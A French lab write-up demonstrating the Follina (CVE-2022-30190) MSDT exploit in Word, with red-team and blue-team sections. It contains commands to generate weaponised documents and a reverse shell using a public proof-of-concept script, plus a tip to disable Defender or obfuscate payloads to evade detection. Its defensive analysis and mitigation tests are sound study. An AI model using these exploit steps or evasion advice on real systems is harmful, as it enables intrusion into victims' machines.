Aller au contenu

POC CVE-2022-30190 - Follina

Logo Plan B

Dates des modifications : Intervenants : Modifications apportées :
- Matthieu BILLAUX
@_euzebius
Nhammmber One Mentor !
Lundi 6 Juin 2022 Mudsor MASOOD
mudpak
Finalisation du document (v0.0.4)
Dimanche 5 Juin 2022 Philippe SEGRET
Pich
Tests et reconstruction du Lab (v0.0.3)
Samedi 4 Juin 2022 Pich Mise en place du Lab (v0.0.2)
Samedi 4 Juin 2022 mudpak Création du document (v0.0.1)


0. Avant-propos

Ce document a pour objectifs de

  • Faire une démonstration de l’exploitation de la CVE 2022-30190, aussi appelée « Follina ».
  • Donner une vision Red Team (équipe Offensive) et une vision Blue Team (équipe Défensive) de la CVE.
  • De mettre en place la solution temporaire proposée par Microsoft et tester son efficacité face à l’attaque.

Avertissement Légal

Tous les auteurs de la CVE, des sources citées et du document ne pourront en aucun cas être tenus responsables des usages illégaux de la CVE.
L’exploitation de cette vulnérabilité en dehors d’un cadre légal peut conduire à des poursuites judiciaires quelque-soit votre emplacement géographique.


1. Prérequis

Pour mettre en place le POC nous allons avoir besoin des éléments suivants :

  • Avoir une solution de virtualisation / hyperviseur : dans notre cas nous allons utiliser VMWare Worksation
  • Accès à internet
  • Avoir les droits administrateur / root sur les machines
  • Un système Windows
    • Pour simuler un poste victime
  • 7-zip pour extraire le document Word et explorer l’arborescence
  • Microsoft Office sur le poste victime : Office 2019 ou Office 365
  • Un système Linux type Parrot ou Kali
    • Pour simuler l’attaquant
    • Une autre distribution peut également être utilisée

Remarque

Pour les besoins du POC nous utiliserons des machines préinstallées.
Si vous souhaitez réaliser des POC ou d’autres tests il est recommandé de faire vos propres installations pour avoir un environnement le plus adapté à vos besoins.


2. MSDT – Microsoft Support Diagnostic Tool

Avant d’entrer dans les détails, parlant de « MSDT » et de la vulnérabilité par laquelle il est impacté.

2.1 Présentation de l’outil

C’est un outil sous Windows (postes clients et serveurs) qui collecte et envoie les données au support Microsoft.
Ce qui leur permet d’analyser les informations recueillies et de trouver des solutions aux problèmes qui peuvent impacter l’expérience utilisateur.

2.2 Vulnérabilité

La vulnérabilité (CVE-2022-30190 ou Follina) est présente dans l’outil MSDT lorsqu’une application telle que Microsoft Word fait appel à MSDT via une URL.
Comme nous le verrons par la suite, un document Microsoft Office est certes perçu à nos yeux comme un seul fichier, en réalité en l’ouvrant avec un gestionnaire d’archives comme 7-Zip nous pouvons constater que le document est composé de plusieurs fichiers :

Le fichier qui va nous intéresser se trouve dans le dossier « word » puisque dans le cas présent il s’agit d’un document Word :

La vulnérabilité est exploitée dans ce fichier au paramètre « target », au lieu de laisser un lien avec un fichier XML, l’attaquant va le modifier et insérer un lien faisant appel à une charge malveillante distante.
Et lorsque le document sera ouvert par un utilisateur, même si les macros sont désactivées, l’action sera exécutée par la machine.

Voici une configuration « par défaut » du fichier :

Et voici une configuration avec une référence à un lien externe (ligne 7) :

Le même contenu mis en forme pour plus de lisibilité, dans le cas présent l’attaquant va faire appel à un fichier distant qui contient la charge malveillante :

Voici un exemple de contenu du fichier « index.html » qui contient la payload :

2.3 Impacts

Un acteur malveillant pouvant exploiter cette vulnérabilité peut par exemple :

  • Exécuter du code à distance / exécuter du code arbitraire (RCE)
  • Installer des programmes
  • Consulter, modifier et supprimer des données
  • Créer de nouveaux comptes pour les persistances
  • . . . globalement faire tous types d’actions qui auront des conséquences plus ou moins graves selon les droits utilisateurs accordés au compte compromis

2.4 Métriques Microsoft

Voici les informations fournies par Microsoft, nous pouvons constater que c’est bien une vulnérabilité « élevée » :

  • Attack Complexity : l’attaque est très simple à réaliser
  • Privileges Required : il n’y a pas besoin d’utiliser un compte spécifique pour conduire l’attaque
  • User Interaction : il y a besoin d’une interaction utilisateur mais même un utilisateur très précautionneux ne peut pas éviter cette attaque à moins de consulter les fichiers de configurations avec 7-Zip par exemple
  • CIA : les trois critères de sécurité sont impactés à un niveau élevé, car une exploitation avec succès de la vulnérabilité peut conduire
    • Au vol de données
    • Aux modifications des données
    • A la destruction des données


3. Mise en place du Lab

Nous allons avoir besoin d’un certain nombre d’éléments, dans ce chapitre nous allons détailler leur obtention et leur mise en place avant de parler à proprement de la CVE.

3.1 Windows 11

3.1.1 Récupération de l’image Windows 11 pour développeurs

Pour ne pas avoir à installer une machine depuis le début, Microsoft propose des images préinstallées (normalement destinées aux développeurs), nous allons télécharger une image adaptée à notre architecture de virtualisation et l’importer.

Se rendre à l’adresse suivante pour télécharger une image préinstallée de Windows :

3.1.2 Télécharger une machine virtuelle

Les images sont présentes pour différents Hyperviseurs, dans notre cas nous allons utiliser la version pour « WMWare ».

Remarque

Vous pouvez constater que cette version de Windows expire dans un mois et elle contient déjà un certain nombre d’outils préinstallés.

Le téléchargement peut prendre un certain temps selon la vitesse de votre connexion internet :

Une pensée pour les personnes avec un débit internet très faible ;)

3.1.3 File hashes

Pour des raisons de sécurité et vérification d’intégrité, Microsoft fournit des hashes pour s’assurer que durant le téléchargement le fichier n’a pas été corrompu.

3.1.4 Extraction de l’archive

Lorsque le téléchargement est terminé il faut extraire l’archive pour importer l’imagine de la machine :

Cette étape peut prendre un certain temps car le fichier est volumineux :

3.1.5 Import de la machine

Ouvrir VMWare Workstation et cliquer sur

  • Open a Virtual Machine

Via l’explorateur de fichiers sélectionner l’image de la machine :

Remplir les champs suivants :

  • Name for the new virtual machine : par le nom que vous souhaitez faire afficher à la machine
  • Storage path for the new virtual machine : par l’emplacement de stockage des fichiers de la machine

Cliquer sur

  • Import

Ce processus peut prendre un certain temps :

3.1.6 Clavier et Affichage en Français

La machine étant préinstallée en Anglais tous les éléments sont donc dans cette langue (Clavier + Affichage), nous allons voir comment basculer en français.

Dans la barre des tâches, cliquer sur le logo de Windows 11

Dans la zone de recherche saisir « lang » et cliquer sur

  • Edit language and keyboard options

Cliquer sur

  • Add a language

Dans la zone de recherche saisir « french » en cliquer sur

  • Français (France)

Cliquer sur

  • Next

Cocher la case

  • Set as my Windows display language

Cliquer sur

  • Install

Le téléchargement commence :

Lorsque le téléchargement et installation de la langue sont terminés voici un exemple d’aperçu qu’on obtient :

Pour prendre en compte les changements il faut se déconnecter en cliquant sur

  • Sign out

Lors de la prochaine connexion, nous pouvons voir dans la barre des tâches que la langue française a bien été appliquée :

La machine “victime” est fonctionnelle, désormais nous allons nous concentrer sur l’obtention et installation de Microsoft Office sur ce poste.

3.2 Microsoft Office

Nous allons utiliser une version d’essai de la suite Microsoft Office 2019.

Pour ne pas télécharger une version vérolée de la suite, nous allons la récupérer via un outil qui télécharge directement depuis les serveurs Microsoft.

3.2.1 HeiDoc

Se rendre à l’adresse suivante :

Une page similaire à ci-dessous devrait s’afficher :

3.2.2 Windows ISO Downloader

Cliquer sur

  • Microsoft Windows and Office ISO Download Tool

Cliquer sur

  • Windows-ISO-Downloader.exe

Le téléchargement est relativement rapide au vu du poids du fichier :

3.2.3 Microsoft Office 2019

Double-cliquer sur l’exécutable récemment téléchargé :

Dans la partie supérieur droite de la fenêtre, cliquer sur

  • Office

Sélectionner la version de Office souhaitée :

Sélectionner l’édition exacte, comme vous pouvez le constater nous pouvons soit télécharger une version complète soit une application uniquement :

Sélectionner la langue souhaitée :

3.2.4 Téléchargement de Office 2019

Cliquer sur

  • Télécharger

Le téléchargement du fichier commence :

3.2.5 Installation de Office 2019

Il est désormais possible de « monter » un fichier image dans Windows sans passer par un logiciel tiers, ce qui nous facilite le travail pour la suite.

Effectuer un clique-doit sur le fichier, cliquer sur

  • Monter

Cliquer sur

  • Ouvrir

Nous pouvons voir que l’image est bien montée dans le lecteur « E : »

Ouvrir le lecteur, à ce stade nous pouvons installer Office en cliquant sur « Setup », mais pour être certain qu’il installe la version adaptée à notre architecture nous allons aller dans le dossier :

  • Office

Cliquer sur l’architecture de votre machine :

Cliquer sur

  • Oui

La fenêtre de préparation s’affiche :

L’installation de Office commence, elle peut prendre un certain temps :

Lorsque l’installation est terminée vous pouvez cliquer sur

  • Fermer

Nous pouvons vérifier que la suite Office est bien installée en ouvrant le menu démarrer :

3.2.6 Première ouverture Word

Nous allons faire la première ouverture de Word après l’installation :

3.2.6.1 Entrez la clé de produit

Il nous est demandé de saisir la clé de licence du produit, nous n’allons pas le faire car nous allons utiliser le produit pour le POC seulement.

3.2.6.2 Acceptation du contrat de licence

Il faut accepter le contrat de licence pour utiliser le produit, cliquer sur

  • Accepter

3.2.6.3 Votre vie privée est importante

Vous pouvez modifier les paramètres de protection de votre vie privée mais pour les besoins du POC nous allons simplement cliquer sur

  • Fermer

3.2.6.4 Types de fichiers par défaut

Cocher

  • Formats Office Open XML

Cliquer sur

  • OK

3.2.6.5 Date d’expiration des fonctionnalités

Puisque nous utilisons le produit en période d’essai, les fonctionnalités seront désactivées très rapidement :

3.2.6.6 Informations sur le produit

Voici quelques détails sur la version exacte installée :

Nous pouvons confirmer via les programmes installés la version de Office 2016 :

Puisque l’installation et la première ouverture sont terminés, nous pouvons éjecter l’image précédemment montée en cliquant sur

  • Éjecter

3.3 7-Zip

3.3.1 Téléchargement

Se rendre à l’adresse suivante :

L’architecture de notre machine est x64 donc nous allons choisir le premier exécutable :

Le téléchargement est très rapide :

3.3.2 Installation

Cliquer sur l’exécutable :

Cliquer sur

  • Oui

Cliquer sur

  • Install

Lorsque l’installation est terminée, cliquer sur

  • Close

3.4 Parrot OS

Tout comme l’image préinstallée de Windows 11, nous allons voir comment télécharger et importer l’image de ParrotSecurity dans VMWare.

3.4.1 Téléchargement du VMDK

Se rendre à l’adresse suivante :

Repérer la version la plus récente de la distribution, dans le cas présent « 5.0 », dans l’onglet « WMare »

Cliquer sur

  • Download

Le téléchargement peut prendre un certain temps :

Les informations de la machine (id/ mdp / disposition clavier) sont disponibles dans l’onglet « Info » :

3.4.2 Extraction de l’archive

Extraire l’archive précédemment téléchargée.

3.4.3 Création de la machine

Pour la VM de Microsoft, l’importation est rapide et automatique mais pour la Parrot il faut effectuer quelques étapes manuelles.

Nous allons créer une nouvelle machine, pour à la fin lui attribuer le disque existant précédemment téléchargé.

Cliquer sur

  • Create a New Virtual Machine

Cliquer sur

  • Next >

Sélectionner

  • I will install the operating system later

Cliquer sur

  • Next >

Sélectionner

  • Linux
  • Ubuntu 64-bit

Cliquer sur

  • Next >

Remplir les champs suivants

  • Virtual machine name : par le nom d’affichage de la machine
  • Location : par l’emplacement où sera enregistrée la machine

Cliquer sur

  • Next >

La taille de disque importe peu, car le but est de créer la machine et lui attribuer un autre disque, cliquer sur

  • Next >

Cliquer sur

  • Finish

3.4.4 Ajout du disque existant

Cliquer sur

  • Edit virtual machine settings

Cliquer sur

  • Add. . .

Sélectionner

  • Hard Disk

Cliquer sur

  • Next >

Cliquer sur

  • Next >

Sélectionner

  • Use an existing virtual disk

Cliquer sur

  • Next >

Sélectionner le disque précédemment téléchargé et extrait, cliquer sur

  • Finish

Cliquer sur

  • Keep Existing Format

Nous pouvons voir que le disque importé est bien présent :

Remarque

Si vous rencontrez des difficultés au démarrage de la machine, vous pouvez supprimer le disque généré lors de la création de la machine :

3.4.5 Configuration du Clavier

Par défaut la disposition du clavier est en Anglais, nous allons voir ensemble comment le modifier pour ajouter le clavier Français.

Dans le coin inférieur gauche de la fenêtre, cliquer sur

  • Menu

Dans la zone de recherche, saisir « keyboard » et cliquer sur le premier résultat :

Dans l’onglet “Layout” nous pouvons voir que le clavier Anglais est déjà présent :

Cliquer sur

  • +Add. . .

Dans les listes déroulantes choisir

  • France
  • French

Cliquer sur

  • +Add

Le clavier Français a bien été ajouté mais pas encore appliqué :

Sélectionner “French” et cliquer sur

  • Move Up

Le clavier Français est désormais appliqué :

A ce stade nos machines Windows 11 et Parrot sont prêtes pour enfin passer à la partie pratique du POC.


4. Red Team

Dans ce chapitre nous allons voir comment un acteur malveillant pourrait faire pour exploiter la vulnérabilité.

4.1 MS-MSDT « Follina » Attack Vector

Nous allons utiliser le POC de John HAMMOND pour la suite.

4.1.1 GitHub

Se rendre à l’adresse suivante :

Cliquer sur

  • Code
  • Copier

4.1.2 Git Clone

Dans le terminal saisir la commande suivante :

1
git clone https://github.com/JohnHammond/msdt-follina.git

Une copie du répertoire sera faite localement :

Nous pouvons voir le dossier crée en saisissant la commande « ls -al », le répertoire se nomme « msdt-follina » :

Pour la suite des opérations tout va se dérouler dans ce répertoire, pour nous déplacer nous allons utiliser la commande « cd msdt-follina » :

4.1.3 Contenu du répertoire

Pour voir tous les éléments présents, saisir la commande « ls -al » :

1
2
3
4
5
6
follina.py
    -> cest le script que nous allons utiliser, il est développé en python3  
nc64.exe
    -> cest NetCat dans sa version 64bits, il sera utile pour établir un reverse shell  
README.md
    -> fichier qui donne des informations sur le POC

4.1.4 Commandes possibles

Avant d’utiliser le script nous allons afficher les différentes options possibles en saisissant la commande « ./follina.py - - help » :

  • Pour spécifier la commande à exécuter

    1
    2
    Option 1 : --command
    Option 2 : -c 
    

  • Pour spécifier le fichier de sortie

    1
    2
    Option 1 : --output
    Option 2 : -o
    

  • Pour spécifier l’interface à utiliser pour héberger le serveur web

    1
    2
    Option 1 : --interface
    Option 2 : -i
    

  • Pour spécifier le port à utiliser pour le serveur web

    1
    2
    Option 1 : --port
    Option 2 : -p
    

  • Pour spécifier le port pour le reverse shell

    1
    2
    Option 1 : --reverse
    Option 2 : -r
    

4.2 Sans Windows Defender et avec UAC

Pour information

Dans les scénarios suivants, la protection en temps réel de l’antivirus Windows Defender a été désactivée.
Cependant la configuration de l’UAC reste par défaut.

4.2.1 Désactivation de la protection en temps réel

Dans la barre des tâches, cliquer sur l’icône de l’antivirus Windows Defender :

Cliquer sur

  • Protection contre les virus et menaces

Dans la partie « Paramètres de protection contre les virus et menaces » cliquer sur

  • Gérer les paramètres

Dans la partie « Protection en temps réel », cliquer sur

  • Activé

Cliquer sur

  • Oui

La protection en temps réel est désormais désactivée :

4.2.2 Calc.exe

Pour lancer un simple « calc.exe » (calculatrice) nous pouvons simplement saisir « python3 follina.py » et le fichier sera généré, mais pour des raisons de clarté je vais utiliser différents paramètres.

Saisir la commande suivante :

1
python3 follina.py -c "calc.exe" -o follina-calc.doc -i ens160

Détails de la commande :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
python3
    -> la version de python à utiliser
follina.py
    -> le script à exécuter
-c "calc.exe"
    -> pour spécifier le programme a exécuter, ici la calculatrice Windows
-o follina-calc.doc
    -> pour spécifier le fichier de sortie, il est important de spécifier lextension du fichier si vous choisissez ce paramètre
-i ens160
    -> pour spécifier le nom de linterface pour le serveur web, par défaut cest linterface « eth0 » qui est appliquée or sur ma machine elle porte un nom différent

Cette commande aura pour conséquences :

  • La création d’un fichier Word avec le nom souhaité
  • L’activation d’une page web qui contient la charge malveillante à exécuter sur le poste, dans le cas présent le fichier Word une fois ouvert fera appel au serveur sur le port 8000 pour récupérer la payload

Généralement un attaquant va envoyer le fichier par email, dans le cas présent nous allons simplement transférer le fichier sur le poste victime et l’ouvrir.

Sur le poste Parrot nous allons activer un serveur web sur le port « 1234 », pour cela saisir la commande suivante :

1
sudo python3 -m http.server 1234

Détails de la commande :

1
2
3
4
5
6
7
8
sudo
    -> pour exécuter avec les droits élevés (=root)
python3
    -> la version de python utilisée
-m http.server
    -> pour demander douvrir un serveur web
1234
    -> le port souhaité

Sur le poste victime via un navigateur nous allons récupérer le fichier généré, ici « follina-calc.doc » :

Lorsque le fichier a été téléchargé nous pouvons l’ouvrir :

En parallèle à cela nous avons confirmation de notre serveur web python que le fichier a bien été récupéré par le poste victime :

Lorsque le fichier s’ouvre il ne se passe rien, il n’y a pas de macros à activer et il est ouvert en mode « lecture seule ».

Nous allons cliquer sur

  • Activer la modification

Aussitôt après avoir cliqué sur « activer la modification », la fenêtre de l’utilitaire de Microsoft s’ouvre :

La fenêtre précédente se ferme pour laisser place à la fenêtre ci-dessous :

Et enfin la calculatrice Windows s’ouvre, l’attaque est un succès :

Du côté de la machine Parrot, nous pouvons observer que lors de l’activation de modification du document Word, il y a eu de nombreuses interactions et le fichier « index.html » a bien été appelé, c’est lui qui a transmis le code à exécuter pour ouvrir la calculatrice.

4.2.3 Notepad.exe

En utilisant le même procédé que pour la calculatrice, nous pouvons générer un fichier pour ouvrir un autre programme comme « Notepad » (= bloc-notes) :

Depuis le poste Windows nous récupérons le fichier généré :

En ouvrant et activant la modification du fichier, notepad s’ouvre :

4.2.4 Reverse Shell

Jusqu’ici nous avons vu des exemples simples, maintenant voyons comment un attaquant pourrait prendre le contrôle du poste via un reverse shell.

Pour générer le fichier saisir la commande suivante :

1
python3 follina.py -r 9001 -o follina-reverse-shell.doc -i ens160

Détails de la commande :

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
python3
    -> version du langage à utiliser
follina.py
    -> script à utiliser
-r
    -> pour specifier que nous souhaitons un reverse shell
9001
    -> le port découte sur notre machine Parrot
-o follina-reverse-shell.doc
    -> pour specifier le fichier de sortie
-i ens160
    -> pour spécifier linterface pour le serveur web

Nous pouvons observer qu’après avoir généré le fichier, ouvert le serveur web sur le port 8000, notre machine s’est mise en écoute sur le port 9001 :

Nous allons récupérer le nouveau fichier depuis la machine cible :

En ouvrant et activant la modification des fichiers, l’utilitaire Microsoft s’ouvre :

Très rapidement la fenêtre de « Résolution des problèmes » s’affiche, et c’est exactement à ce moment-là que nous récupérons le shell du poste cible sur notre Parrot :

Ici nous avons la confirmation que nous sommes bien connectés sur la machine Windows :

Nous pouvons exécuter les commandes, par exemple ci-dessous certaines commandes ont été exécutées :

  • whoami : pour afficher le nom de l’utilisateur
  • hostname : pour afficher le nom du poste
  • dir : pour afficher le contenu du répertoire (=ls sous linux)

A noter :

Arrivé à ce stade un attaquant peut commencer à avoir un shell plus stable, car le shell actuel est issue d’un autre processus qui peut être fermé à tout moment par l’utilisateur.
L’attaquant peut également tenter de créer une connexion persistante via différents outils déjà présents sur le poste, ou simplement commencer à récupérer les informations.

De manière plus « graphique », voici un exemple de répertoire dans lequel s’ouvre le shell :

Dès lors que vous voyez la fenêtre ci-dessous, cela signifie que l’attaquant a quitté le shell précédemment ouvert.

Remarque

Cela ne signifie pas forcément qu’il n’est plus présent sur votre poste, car il peut très bien avoir basculé vers un autre shell.

Puisqu’il y a eu un reverse shell, l’attaque ajoute un exécutable « nc » dans le répertoire ci-dessous :

4.3 Avec Windows Defender et avec UAC

Dans les scénarios suivants, Windows Defender est actif et avec sa configuration par défaut tout comme l’UAC.

4.3.1 Trojan:Win32/Mesdetty.A

Sans grandes surprises, à l’heure actuelle l’antivirus bloque les payloads.

Dans le cas présent Defender a simplement mis fin à la commande :

4.3.2 Trojan:Win32/Mesdetty.A

Dans le cas présent Defender a simplement mis fin à la commande :

4.3.3 Behavior:Win32/MesdettyLaunch.A!blk

Dans le cas present Defender a mis fin au processus qui a lancé msdt.

4.3.4 Behavior:Win32/MesdettyLaunch.A!blk


5. Blue Team

Dans ce chapitre nous allons voir ce qu’un membre de l’équipe défensive peut tenter de comprendre et se préparer au mieux face à cette attaque.

5.1 MS-MSDT “Attack Vector”

Avant de voir le contenu généré lors des précédentes attaques, nous allons parler du script et des éléments qu’il génère.

5.1.1 Fichier « follina.doc »

Si aucun paramètre de sortie n’est précisé au script alors celui-ci nomme le fichier malveillant « follina.doc ».

Voici le contenu du fichier « document.xml.rels », nous pouvons voir clairement la référence à un contenu externe, ici surligné en vert clair :

Dans le paramètre « Target » nous pouvons constater que la fin de l’adresse contient un point d’exclamation, c’est important de le noter pour la suite :

En effet lorsque nous essayons de consulter le lien tel quel, voici l’erreur affichée :

En enlevant le point d’exclamation de l’URL et en visitant la source de la page nous obtenons la payload :

Ci-dessous la même payload (l'indentation n’est pas respectée pour afficher un maximum de contenu) :

5.1.2 Stager

5.1.2.1 Répertoire d’enregistrement

La charge malveillante se trouve sur la machine de l’attaquant dans le répertoire « tmp », le répertoire final est nommé de manière aléatoire :

5.1.2.2 Architecture du répertoire Stager

Voici l’architecture du répertoire, d’un côté nous avons le fichier Word, d’un autre côté nous avons un serveur web contenant la page « index.html » qui elle contient la charge malveillante.
En d’autres termes le fichier Word contient un paramètre qui fera appel au fichier externe et ce fichier externe (index.html) qui contient les commandes à exécuter sur le poste.

5.1.2.3 Composition du fichier « index.html »

Voici un exemple de contenu du fichier « index.html » :

Les éléments les plus importants se trouvent au début du script, ici surlignés en vert clair :

Le texte surligné en vert clair ci-dessous, est un simple encodage en base 64 de « calc » :

Voici un exemple avec l’outil CyberChef :

5.2 Windows Defender

Comme vu précédemment, Windows Defender bloque dans une certaine mesure l’exploitation de la vulnérabilité, pour que cela soit le plus effectif possible il faut que le moteur de l’antivirus soit à la version « 1.367.851.0 » ou plus récent.

Voici les différents codes sous lesquels l’exploitation de la vulnérabilité a été bloquée :

5.3 Dépôt « nc »

Il peut être pertinent de surveiller ce répertoire car il n’est pas fait pour stocker ce type d’élément :

5.4 Calc.exe

Comme nous l’avons vu précédemment, le nom du programme a exécuter est simplement encodé en base 64, ici l’exemple avec « calc.exe » :

5.5 Notepad.exe

Comme le cas précédent ici l’exemple avec « notepad.exe » :

5.6 Reverse Shell

Comme les deux exemples précédents, il y a bien de l’encodage en base 64 utilisé, mais puisqu’il s’agit d’un reverse shell, la commande est logiquement beaucoup plus longue :

Ici le passage en commande en clair, nous pouvons voir que

  • Le netcat est récupéré depuis le github de John HAMMOND
  • Enregistré dans le répertorie « C:\Windows\Tasks »
  • Le revershell est exécuté en cmd vers le poste de l’attaquant qui est en écoute sur le port 9001 :

5.7 Solutions temporaires

En attendant la correction de la vulnérabilité, Microsoft propose des solutions temporaires, nous allons les mettre en place et tester leur efficacité.

5.7.1 Désactivation du protocole URL via le registre Windows

Cette solution consiste à supprimer une valeur dans le registre Windows.

5.7.1.1 Menu démarrer

Effectuer un clique-droit sur le logo Windows, cliquer sur

  • Exécuter

5.7.1.2 Exécuter

Saisir

  • cmd

Cliquer sur

  • OK

5.7.1.3 Sauvegarde du registre

Pour sauvegarder la clé, saisir la commande suivante :

1
reg export HKEY_CLASSES_ROOT\ms-msdt sauvegarde-2022-06-06

Détails de la commande :

1
2
3
4
5
6
7
8
reg
    -> registre windows
export
    -> paramètre pour effectuer un export
HKEY_CLASSES_ROOT\ms-msdt
    -> la clé à exporter (=sauvegarder)
sauvegarde-2022-06-06
    -> le nom du fichier de sauvegarde

La sauvegarde s’est effectuée avec succès :

Le fichier est bien présent :

Voici les paramètres avant suppression de la clé :

5.7.1.4 Suppression de la clé

Pour supprimer la clé, saisir la commande suivante :

1
reg delete HKEY_CLASSES_ROOT\ms-msdt /f

Détails de la commande :

1
2
3
4
5
6
7
8
reg
    -> registre windows
delete
    -> pour supprimer un élément
HKEY_CLASSES_ROOT\ms-msdt
    -> la clé à supprimer
/f
    -> pour forcer la suppression

5.7.1.5 Test du fonctionnement de la solution

Maintenant que la solution temporaire a été appliquée, nous allons tester les précédentes « attaques » pour confirmer de l’efficacité de la mesure.

Dans le cas présent nous allons générer un fichier pour ouvrir l’application calc :

L’ouverture du document est beaucoup plus lente cette fois et nous avons même le temps de voir les différentes étapes :

Ici nous voyons que la machine tente de joindre la machine de l’attaquant, mais le document s’ouvre et même en activant la modification aucune des attaques n’a fonctionnée.

Après avoir testé les trois attaques qui avaient précédemment fonctionnées, cette fois-ci aucune des trois n’a été concluantes, la solution temporaire est donc efficace.

Pour pouvoir tester les autres solutions, nous allons rétablir la configuration du registre via la sauvegarde précédente, saisir la commande suivante :

1
reg import sauvegarde-2022-06-06

5.7.2 Désactivation de l’outil de diagnostic via Éditeur de stratégie de groupe locale / GPO

Dans cette solution nous allons désactiver l’ouverture de l’outil via l’éditeur de stratégie de groupe locale ou via GPO si vous êtes dans un contexte AD.

Avant d’appliquer la mesure de sécurité nous allons exécuter l’outil pour voir s’il est bien fonctionnel :

L’outil se lance bien comme prévu :

Nous allons désormais appliquer la mesure, pour cela ouvrir l’éditeur de stratégie de groupe local :

Aller dans

  • Configuration ordinateur
  • Modèles d’administration
  • Système
  • Dépannage à base de script

La mesure qui nous intéresse se nomme « Dépannage : autoriser les utilisateurs à exécuter les Assistants Dépannage », par défaut elle est « Non configuré » :

Cocher

  • Désactivé

Cliquer sur

  • Appliquer
  • OK

Le paramètre que nous avons modifié est appliqué, nous allons le tester dans un premier temps manuellement :

Ouvrir à nouveau l’outil via « Exécuter » et nous pouvons observer qu’une erreur s’affiche :

En cliquant sur « Afficher les détails de l’erreur » nous obtenons la fenêtre suivante, qui nous informe que l’outil a été désactivé par la stratégie de groupe :

5.7.2.1 Test du fonctionnement de la solution

Cette solution est fonctionnelle, car l’exécution de l’outil via un document malveillant ne fonctionne pas et via une ouverture manuelle comme exécutée récemment ne fonctionne plus puisqu’il a été désactivé.

Nous allons rétablir la configuration d’origine du paramètre à « Non configuré » pour mettre en place la dernière mesure et la tester.

5.7.3 Désactivation de l’aperçu dans l’explorateur de fichiers

Selon la configuration de l’explorateur de fichiers Windows, il est possible d’avoir un aperçu avant d’ouvrir un élément (document, image . . .).

Par défaut il est désactivé comme le cas ci-dessous :

Nous allons l’activer manuellement pour voir un exemple de résultat qui peut se produire, pour cela cliquer sur

  • Afficher
  • Afficher
  • Volet de visualisation

Désormais lorsque nous consultons un document, le volet de visualisation permet d’avoir un aperçu :

Pour désactiver cet aperçu il faut faire l’opération inverse, cliquer sur

  • Afficher
  • Afficher
  • Volet de visualisation

5.7.3.1 Test du fonctionnement de la solution

La solution est fonctionnelle car le document n’est pas prévisualisé par l’utilisateur.


6. Conclusion

Comme vous avez pu le constater pour exploiter cette vulnérabilité :

  • Nous n’avons pas besoin d’activer des macros
  • Nous n’avons pas non plus besoin d’être un expert technique
  • L’attaque est simple et efficace

A noter :

L’UAC est certes une barrière de sécurité, mais dans le cas présent il n’a pas été d’une grande utilité.

En attendant la correction de la vulnérabilité par Microsoft, il existe différentes solutions temporaires.


7. Erreurs courantes

Voici les différentes erreurs que j’ai rencontrées lors de la mise en place et utilisation du lab.

7.1 Importation impossible VMDK Parrot

L’image VMDK de la Parrot ne peut pas être importée directement dans VMWare, pour pallier à cela il faut créer une machine virtuelle et ensuite ajouter le disque manuellement.

7.2 Interface non reconnue par le script de POC

Par défaut le script utilise l’interface « eth0 », si votre interface porte un nom différent une erreur semblable à ci-dessous s’affiche :

Pour identifier l’interface, saisir la commande « ifconfig », dans notre cas l’interface à utiliser se nomme « ens160 » :

Nous pouvons désormais spécifier l’interface à utiliser au script et cette fois le POC est bien fonctionnel :

7.3 POC non fonctionnel

Il se peut que vous ayez réalisé toutes les étapes mais qu’au moment de l’ouverture du document Word sur le poste victime rien ne se produise (pas d’ouverture de logiciel, pas de reverse shell. . .).

Il est très probable que simplement Windows Defender soit actif et ait mis en quarantaine ou supprimé votre payload :

Pour éviter cela vous pouvez simplement désactiver Windows Defender ou utiliser différentes méthodes d’encodage / d’obfuscation.


8. Sources

Voici les différentes sources utilisées tout au long du document :

Désolé pour la qualité des captures :")